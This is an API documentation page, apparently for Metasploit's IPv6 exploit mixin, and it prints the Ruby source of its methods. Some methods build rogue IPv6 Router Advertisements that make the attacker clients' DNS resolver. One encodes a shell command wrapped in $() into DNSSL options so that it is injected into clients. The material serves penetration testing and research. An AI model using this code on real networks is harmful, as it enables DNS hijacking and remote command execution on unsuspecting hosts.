Module: Msf::Exploit::Remote::Ipv6

Defined in:
lib/msf/core/exploit/remote/ipv6.rb

Overview

This module provides common tools for IPv6

Instance Method Summary collapse

Instance Method Details

#check_pcaprub_loaded ⇒ Object 



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# File 'lib/msf/core/exploit/remote/ipv6.rb', line 545

def check_pcaprub_loaded
    unless @pcaprub_loaded
      print_status("The Pcaprub module is not available: #{@pcaprub_error}")
      raise RuntimeError, "Pcaprub not available"
    else
      true
  end

end

#close_icmp_pcap ⇒ Object

Close the capture interface



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# File 'lib/msf/core/exploit/remote/ipv6.rb', line 90

def close_icmp_pcap()
  check_pcaprub_loaded

  return if not @ipv6_icmp6_capture
  @ipv6_icmp6_capture = nil
end

#initialize(info = {}) ⇒ Object

Initializes an instance of an exploit module that captures traffic



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# File 'lib/msf/core/exploit/remote/ipv6.rb', line 31

def initialize(info = {})
  super
  register_options(
    [
      OptString.new('INTERFACE', [false, 'The name of the interface']),
      OptString.new("SMAC", [ false, "The source MAC address"]),
      OptAddress.new("SHOST", [ false, "The source IPv6 address" ] ),
      OptInt.new("TIMEOUT", [ true, "Timeout when waiting for host response.", 5])
    ], Msf::Exploit::Remote::Ipv6
  )

  begin
    require 'pcaprub'
    @pcaprub_loaded = true
  rescue ::Exception => e
    @pcaprub_loaded = false
    @pcaprub_error  = e
  end
end

#ipv6_build_dnssl_option(cmd, lifetime = 0xFFFFFFFF) ⇒ Object

Build DNSSL option (https://www.rfc-editor.org/rfc/rfc6106#section-5.2)



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# File 'lib/msf/core/exploit/remote/ipv6.rb', line 357

def ipv6_build_dnssl_option(cmd, lifetime = 0xFFFFFFFF)
  data = ipv6_encode_domain("#{rand_text_alpha(6..10)}.local") + ipv6_encode_dnssl_payload(cmd)

  # Pad to 8-byte boundary (option header is 8 bytes)
  pad_len = -data.length % 8
  data << "\x00" * pad_len

  # Option header: Type(1) + Length(1) + Reserved(2) + Lifetime(4)
  # Length is in units of 8 octets, including header
  length_units = (8 + data.length) / 8

  [31, length_units, 0].pack('CCn') + [lifetime].pack('N') + data
end

#ipv6_build_dnssl_search_option(domains, lifetime = 0xFFFFFFFF) ⇒ Object

Build a DNS Search List (DNSSL) option carrying real search domains (https://www.rfc-editor.org/rfc/rfc8106#section-5.2). Unlike ipv6_build_dnssl_option, this does not wrap a command payload; it simply advertises the given domains so the client appends them when resolving short names, which helps steer it onto poisoned FQDNs.



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# File 'lib/msf/core/exploit/remote/ipv6.rb', line 396

def ipv6_build_dnssl_search_option(domains, lifetime = 0xFFFFFFFF)
  data = Array(domains).map { |domain| ipv6_encode_domain(domain) }.join

  # Pad to an 8-byte boundary (the option header is 8 bytes).
  pad_len = -data.length % 8
  data << ("\x00" * pad_len)

  length_units = (8 + data.length) / 8

  [31, length_units, 0].pack('CCn') + [lifetime].pack('N') + data
end

#ipv6_build_prefix_info_option ⇒ Object

Build Prefix Information option (RFC 4861)



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# File 'lib/msf/core/exploit/remote/ipv6.rb', line 491

def ipv6_build_prefix_info_option
  type = 3
  length = 4 # 32 bytes / 8
  prefix_len = 64
  flags = 0xC0 # L=1, A=1 (on-link, autonomous address config)
  valid_lifetime = 30.days.to_i
  preferred_lifetime = 7.days.to_i
  reserved = 0
  prefix = IPAddr.new('2001:db8::').hton

  [type, length, prefix_len, flags].pack('CCCC') +
    [valid_lifetime, preferred_lifetime, reserved].pack('NNN') +
    prefix
end

#ipv6_build_ra_dns_packet(smac, dns_servers, shost: 'fe80::1', domains: [], router_lifetime: 0, dns_lifetime: 0xFFFFFFFF, dst_mac: '33:33:00:00:00:01', dst_addr: 'ff02::1') ⇒ Object

Build a complete Router Advertisement that advertises the attacker as the recursive DNS server via an RDNSS option (and optional DNSSL search list).

By default router_lifetime is 0, so the client does not adopt us as its default gateway (a DNS-only takeover that keeps routing untouched and stays closer to mitm6's stealth). Raise router_lifetime to also become a router.

dst_mac/dst_addr default to the all-nodes multicast group for an unsolicited RA; pass a specific client MAC and link-local address to unicast a solicited RA in response to a Router Solicitation.



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# File 'lib/msf/core/exploit/remote/ipv6.rb', line 418

def ipv6_build_ra_dns_packet(smac, dns_servers, shost: 'fe80::1', domains: [], router_lifetime: 0, dns_lifetime: 0xFFFFFFFF,
                             dst_mac: '33:33:00:00:00:01', dst_addr: 'ff02::1')
  type = 134 # Router Advertisement
  code = 0
  checksum = 0
  cur_hop_limit = 64
  flags = 0x08 # Router Preference = Medium; M/O DHCPv6 flags left clear (RDNSS carries the DNS info)
  reachable_time = 0
  retrans_timer = 0

  ra_payload = [type, code, checksum, cur_hop_limit, flags, router_lifetime, reachable_time, retrans_timer].pack('CCnCCnNN')
  ra_payload << ipv6_build_slla_option(smac)
  ra_payload << ipv6_build_rdnss_option(dns_servers, dns_lifetime)
  ra_payload << ipv6_build_dnssl_search_option(domains, dns_lifetime) unless Array(domains).empty?

  p = PacketFu::IPv6Packet.new
  p.eth_saddr = smac
  p.eth_daddr = dst_mac # Default 33:33:00:00:00:01 = all-nodes multicast (https://datatracker.ietf.org/doc/html/rfc4861#section-4.2)
  p.ipv6_saddr = shost # Must be a link-local address (https://datatracker.ietf.org/doc/html/rfc4861#section-4.2)
  p.ipv6_daddr = dst_addr # Default ff02::1 = all-nodes multicast (https://datatracker.ietf.org/doc/html/rfc4291#section-2.7.1)
  p.ipv6_hop = 255
  p.ipv6_next = 0x3a # ICMPv6

  p.payload = ra_payload
  p.ipv6_len = ra_payload.length

  ipv6_checksum!(p)

  p
end

#ipv6_build_ra_packet(smac, payload_cmd, shost = 'fe80::1') ⇒ Object

Build the complete Router Advertisement packet



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# File 'lib/msf/core/exploit/remote/ipv6.rb', line 521

def ipv6_build_ra_packet(smac, payload_cmd, shost = 'fe80::1')
  # Build ICMPv6 RA with options
  ra_payload = ipv6_build_ra_payload
  ra_payload << ipv6_build_slla_option(smac)
  ra_payload << ipv6_build_prefix_info_option
  ra_payload << ipv6_build_dnssl_option(payload_cmd)

  # Build IPv6 packet
  p = PacketFu::IPv6Packet.new
  p.eth_saddr = smac
  p.eth_daddr = '33:33:00:00:00:01' # All-nodes multicast (https://datatracker.ietf.org/doc/html/rfc4861#section-4.2)
  p.ipv6_saddr = shost # Link-local address (https://datatracker.ietf.org/doc/html/rfc4291#section-2.5.6)
  p.ipv6_daddr = 'ff02::1' # All-nodes multicast address (https://datatracker.ietf.org/doc/html/rfc4291-2.5.6#section-2.7.1)
  p.ipv6_hop = 255
  p.ipv6_next = 0x3a # ICMPv6

  p.payload = ra_payload
  p.ipv6_len = ra_payload.length

  ipv6_checksum!(p)

  p
end

#ipv6_build_ra_payload ⇒ Object

Build ICMPv6 Router Advertisement payload



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# File 'lib/msf/core/exploit/remote/ipv6.rb', line 507

def ipv6_build_ra_payload
  type = 134 # Router Advertisement
  code = 0
  checksum = 0
  cur_hop_limit = 64
  flags = 0x40 # O flag (Other configuration)
  router_lifetime = 1800
  reachable_time = 0
  retrans_timer = 0

  [type, code, checksum, cur_hop_limit, flags, router_lifetime, reachable_time, retrans_timer].pack('CCnCCnNN')
end

#ipv6_build_rdnss_option(dns_servers, lifetime = 0xFFFFFFFF) ⇒ Object

Build a Recursive DNS Server (RDNSS) option (https://www.rfc-editor.org/rfc/rfc8106#section-5.1). This is the option that lets a rogue Router Advertisement hand the attacker to IPv6 clients as their recursive resolver (the RA-based equivalent of the mitm6 DHCPv6 DNS takeover). dns_servers is one or more IPv6 addresses.

Raises:

  • (ArgumentError) 


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# File 'lib/msf/core/exploit/remote/ipv6.rb', line 375

def ipv6_build_rdnss_option(dns_servers, lifetime = 0xFFFFFFFF)
  servers = Array(dns_servers)
  raise ArgumentError, 'at least one DNS server is required' if servers.empty?

  addresses = servers.map do |addr|
    ip = IPAddr.new(addr)
    raise ArgumentError, "invalid IPv6 address: #{addr}" unless ip.ipv6?

    ip.hton
  end.join
  # Length is in units of 8 octets: 1 unit for the 8-byte header plus 2 units per address.
  length_units = 1 + (2 * servers.length)

  [25, length_units, 0].pack('CCn') + [lifetime].pack('N') + addresses
end

#ipv6_build_slla_option(mac) ⇒ Object

Build Source Link-Layer Address option (https://www.rfc-editor.org/rfc/rfc4861)



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# File 'lib/msf/core/exploit/remote/ipv6.rb', line 485

def ipv6_build_slla_option(mac)
  mac_bytes = mac.split(':').map { |x| x.to_i(16) }.pack('C6')
  [1, 1].pack('CC') + mac_bytes
end

#ipv6_checksum!(pkt) ⇒ Object

Usual ghetto strategy from PacketFu



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# File 'lib/msf/core/exploit/remote/ipv6.rb', line 293

def ipv6_checksum!(pkt)
  check_data = pkt.headers.last[:ipv6_src].to_s.unpack("n8")
  check_data << pkt.headers.last[:ipv6_dst].to_s.unpack("n8")
  check_data << pkt.ipv6_len
  check_data << [0,58]
  check_payload = pkt.payload.size % 2 == 0 ? pkt.payload : pkt.payload + "\x00"
  check_data << check_payload.unpack("n*")
  check_data.flatten!
  checksum = check_data.inject(0) {|sum,x| sum += x}
  checksum = checksum % 0xffff
  checksum = 0xffff - checksum
  checksum == 0 ? 0xffff : checksum
  pkt.payload[2,2] = [checksum].pack("n")
  pkt
end

#ipv6_encode_dnssl_payload(cmd) ⇒ Object

Encode a command payload as DNS label format for DNSSL injection. Wraps the command in $() for shell substitution and splits into 63-byte chunks (max DNS label length).



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# File 'lib/msf/core/exploit/remote/ipv6.rb', line 340

def ipv6_encode_dnssl_payload(cmd)
  payload_str = "$(#{cmd})"
  payload_bytes = payload_str.encode('ASCII-8BIT')

  if payload_bytes.length <= 63
    return [payload_bytes.length].pack('C') + payload_bytes + "\x00"
  end

  result = ''
  until payload_bytes.empty?
    chunk = payload_bytes.slice!(0, 63)
    result << [chunk.length].pack('C') << chunk
  end
  result << "\x00"
end

#ipv6_encode_domain(name) ⇒ Object

Encode a domain name in DNS label format (length-prefixed labels, null-terminated)



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# File 'lib/msf/core/exploit/remote/ipv6.rb', line 326

def ipv6_encode_domain(name)
  result = ''
  name.split('.').each do |label|
    next if label.empty?

    data = label.encode('ASCII-8BIT')
    result << [data.length].pack('C') << data
  end
  result << "\x00"
end

#ipv6_icmpv6_echo_request(id, seq, data) ⇒ Object

Helper methods that haven't made it upstream yet. Mostly packet data packers, also a checksum calculator.



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# File 'lib/msf/core/exploit/remote/ipv6.rb', line 236

def ipv6_icmpv6_echo_request(id,seq,data)
  type = 0x80
  code = 0
  checksum = 0
  id ||= rand(0x10000)
  seq ||= rand(0x10000)
  [type,code,checksum,id,seq,data].pack("CCnnna*")
end

#ipv6_interface(opts = {}) ⇒ Object

Shortcut method for resolving our local interface name



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# File 'lib/msf/core/exploit/remote/ipv6.rb', line 55

def ipv6_interface(opts={})
  opts['INTERFACE'] || datastore['INTERFACE'] || ::Pcap.lookupdev
end

#ipv6_link_address(opts = {}) ⇒ Object

Shortcut method for determining our link-local address



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# File 'lib/msf/core/exploit/remote/ipv6.rb', line 62

def ipv6_link_address(opts={})
  Rex::Socket.ipv6_link_address(ipv6_interface(opts))
end

#ipv6_linklocaladdr(mac) ⇒ Object

From Jon Hart's Racket::L3::Misc#linklocaladdr(), which is from Daniele Bellucci



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# File 'lib/msf/core/exploit/remote/ipv6.rb', line 261

def ipv6_linklocaladdr(mac)
  mac = mac.split(":")
  mac[0] = (mac[0].to_i(16) ^ (1 << 1)).to_s(16)
  ["fe80", "", mac[0,2].join, mac[2,2].join("ff:fe"), mac[4,2].join].join(":")
end

#ipv6_mac(opts = {}) ⇒ Object

Shortcut method for determining our MAC address



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# File 'lib/msf/core/exploit/remote/ipv6.rb', line 69

def ipv6_mac(opts={})
  Rex::Socket.ipv6_mac(ipv6_interface(opts))
end

#ipv6_neighbor_solicitation(neigh, smac) ⇒ Object

Takes a neighbor and smac as arguments, The Neighbor value must be an int, while the smac must be a string. Very rudimentary and temporary.



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# File 'lib/msf/core/exploit/remote/ipv6.rb', line 312

def ipv6_neighbor_solicitation(neigh,smac)
  target = neigh.to_s(16).scan(/../).map {|x| x.to_i(16)}.pack("C*")
  type = 135
  code = 0
  checksum = 0
  reserved = 0
  opt_type = 1
  opt_len = 1
  [type, code, checksum, reserved,
    target, opt_type, opt_len, smac
  ].pack("CCnNa16CCa6")
end

#ipv6_parse_options(data) ⇒ Object

Simple tlv parser



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# File 'lib/msf/core/exploit/remote/ipv6.rb', line 246

def ipv6_parse_options(data)
  pos = 0
  opts = []
  while pos < data.size
    type, len = data[pos,2].unpack("CC")
    this_opt = [type,len]
    this_opt << data[pos+2, (pos-2 + (len * 8))]
    opts << this_opt
    pos += this_opt.pack("CCa*").size
  end
  opts
end

#ipv6_router_solicitation?(pkt) ⇒ Boolean

True if the given parsed PacketFu packet is an ICMPv6 Router Solicitation (type 133, https://www.rfc-editor.org/rfc/rfc4861#section-4.1).

Returns:

  • (Boolean) 


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# File 'lib/msf/core/exploit/remote/ipv6.rb', line 451

def ipv6_router_solicitation?(pkt)
  return false unless pkt.respond_to?(:is_ipv6?) && pkt.is_ipv6?
  return false unless pkt.ipv6_next == 0x3a # ICMPv6

  # PacketFu parses next-header 58 into an ICMPv6Packet, exposing the message
  # type as icmpv6_type; fall back to the first payload byte otherwise.
  if pkt.respond_to?(:icmpv6_type)
    pkt.icmpv6_type == 133
  else
    pkt.payload.to_s[0, 1] == "\x85" # 0x85 = 133
  end
end

#ipv6_solicited_ra_target(src_mac, src_addr) ⇒ Object

Decide where to send a solicited Router Advertisement given the source link-layer and IPv6 address of a Router Solicitation. Per RFC 4861 section 6.2.6, if the solicitation's source is the unspecified address the response is multicast to all-nodes; otherwise it is unicast back to the solicitor. Returns [dst_mac, dst_addr].



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# File 'lib/msf/core/exploit/remote/ipv6.rb', line 469

def ipv6_solicited_ra_target(src_mac, src_addr)
  return ['33:33:00:00:00:01', 'ff02::1'] if ipv6_unspecified_address?(src_addr)

  [src_mac, src_addr]
end

#ipv6_soll_mcast_addr6(addr) ⇒ Object

From Jon Hart's Racket::L3::Misc#soll_mcast_addr6(), which is from DDniele Belluci



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# File 'lib/msf/core/exploit/remote/ipv6.rb', line 269

def ipv6_soll_mcast_addr6(addr)
  h = addr.split(':')[-2, 2]
  m = []
  x = h[0]
  x[0..1] = 'ff'
  m << x
  x = h[1]
  x.sub!(/^0*/, "")
  m << x
  'ff02::1:' + m.join(':')
end

#ipv6_soll_mcast_mac(addr) ⇒ Object

From Jon Hart's Racket::L3::Misc#soll_mcast_mac()



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# File 'lib/msf/core/exploit/remote/ipv6.rb', line 282

def ipv6_soll_mcast_mac(addr)
  h = addr.split(':')[-2, 2]
  m = []
  m << 'ff'
  m << (h[0].to_i(16) & 0xff).to_s(16)
  m << ((h[1].to_i(16) & (0xff << 8)) >> 8).to_s(16)
  m << (h[1].to_i(16) & 0xff).to_s(16)
  '33:33:' + m.join(':')
end

#ipv6_unspecified_address?(addr) ⇒ Boolean

True if addr is missing or the IPv6 unspecified address (::).

Returns:

  • (Boolean) 


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# File 'lib/msf/core/exploit/remote/ipv6.rb', line 476

def ipv6_unspecified_address?(addr)
  return true if addr.to_s.empty?

  IPAddr.new(addr.to_s).to_i.zero?
rescue IPAddr::Error
  true
end

#open_icmp_pcap(opts = {}) ⇒ Object

Opens a pcaprub capture interface to inject packets, and sniff ICMPv6 packets



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# File 'lib/msf/core/exploit/remote/ipv6.rb', line 77

def open_icmp_pcap(opts = {})
  check_pcaprub_loaded

  dev = ipv6_interface(opts)
  len = 65535
  tim = 0
  @ipv6_icmp6_capture = ::Pcap.open_live(dev, len, true, tim)
  @ipv6_icmp6_capture.setfilter("icmp6")
end

#ping6(dhost, opts = {}) ⇒ Object

Send a ICMPv6 Echo Request, and wait for the associated ICMPv6 Echo Response



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# File 'lib/msf/core/exploit/remote/ipv6.rb', line 164

def ping6(dhost, opts={})
  check_pcaprub_loaded

  dhost_intf = dhost + '%' + ipv6_interface(opts)

  smac = opts['SMAC'] || datastore['SMAC'] || ipv6_mac
  shost = opts['SHOST'] || datastore['SHOST'] || Rex::Socket.source_address(dhost_intf)
  dmac = opts['DMAC'] || solicit_ipv6_mac(dhost)
  timeout = opts['TIMEOUT'] || datastore['TIMEOUT']
  wait = opts['WAIT']


  if(wait.eql?(nil))
    wait = true
  end

  dmac.eql?(nil) and return false

  open_icmp_pcap()

  # Create ICMPv6 Request
  p = PacketFu::IPv6Packet.new
  p.eth_saddr = smac
  p.eth_daddr = dmac
  p.ipv6_saddr = shost
  p.ipv6_daddr = dhost
  p.ipv6_next = 0x3a
  icmp_id = rand(65000)
  icmp_seq = 1
  icmp_payload = Rex::Text.rand_text(8)
  p.payload = ipv6_icmpv6_echo_request(icmp_id,icmp_seq,icmp_payload)
  p.ipv6_len = p.payload.to_s.size
  ipv6_checksum!(p)

  @ipv6_icmp6_capture.inject(p.to_s)

  if(wait.eql?(true))
    print_status("Waiting for ping reply...")
    print_line("")
    # Wait for a response
    max_epoch = ::Time.now.to_i + timeout
    while(::Time.now.to_i < max_epoch)
      pkt = @ipv6_icmp6_capture.next()
      next if not pkt
      response_pkt = PacketFu::Packet.parse(pkt) rescue nil
      next unless response_pkt
      next unless response_pkt.is_ipv6?
      next unless response_pkt.payload
      next if response_pkt.payload.empty?
      next unless response_pkt.payload[0,1] == "\x81" # Echo reply
      if( response_pkt.ipv6_daddr == p.ipv6_saddr and
         response_pkt.ipv6_saddr == p.ipv6_daddr and
         response_pkt.ipv6_daddr == p.ipv6_saddr and
         response_pkt.payload[4,2] == p.payload[4,2] and # Id
         response_pkt.payload[6,2] == p.payload[6,2] # Seq
        )
        close_icmp_pcap()
        return(true)
      end

    end # End while
  end

  close_icmp_pcap()
  return(false)
end

#solicit_ipv6_mac(dhost, opts = {}) ⇒ Object

Send out a ICMPv6 neighbor solicitation, and return the associated MAC address



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# File 'lib/msf/core/exploit/remote/ipv6.rb', line 101

def solicit_ipv6_mac(dhost, opts = {})
  check_pcaprub_loaded

  dhost_intf = dhost + '%' + ipv6_interface(opts)

  smac = opts['SMAC'] || datastore['SMAC'] || ipv6_mac
  shost = opts['SHOST'] || datastore['SHOST'] || Rex::Socket.source_address(dhost_intf)
  timeout = opts['TIMEOUT'] || datastore['TIMEOUT'] || 3

  open_icmp_pcap()

  p2 = PacketFu::IPv6Packet.new
  p2.eth_saddr = smac
  p2.eth_daddr = ipv6_soll_mcast_mac(dhost)
  p2.ipv6_saddr = shost
  p2.ipv6_daddr = ipv6_soll_mcast_addr6(dhost)
  p2.ipv6_hop = 255
  p2.ipv6_next = 0x3a
  p2.payload = ipv6_neighbor_solicitation(
    IPAddr.new(dhost).to_i,
    p2.eth_src
  )
  p2.ipv6_len = p2.payload.size
  ipv6_checksum!(p2)

  @ipv6_icmp6_capture.inject(p2.to_s)

  # Wait for a response
  max_epoch = ::Time.now.to_i + timeout
  while(::Time.now.to_i < max_epoch)
    pkt_bytes = @ipv6_icmp6_capture.next()
    next if not pkt_bytes
    pkt = PacketFu::Packet.parse(pkt_bytes) rescue nil
    next unless pkt
    next unless pkt.is_ipv6?
    next unless pkt.ipv6_next == 0x3a
    next unless pkt.payload
    next if pkt.payload.empty?
    next unless pkt.payload[0,1] == "\x88" # Neighbor advertisement
    if(IPAddr.new(pkt.ipv6_daddr).to_i == IPAddr.new(shost).to_i and
       IPAddr.new(pkt.ipv6_saddr).to_i == IPAddr.new(dhost).to_i)
       ipv6opts = pkt.payload[24,pkt.payload.size]
       next unless ipv6opts
       parsed_opts = ipv6_parse_options(ipv6opts)
       parsed_opts.each do |opt|
         if opt[0] == 2
           addr = PacketFu::EthHeader.str2mac(opt.last)
           close_icmp_pcap()
           return(addr)
         end
       end
       close_icmp_pcap
       return(pkt.eth_saddr)
    end
  end
  close_icmp_pcap
  return nil
end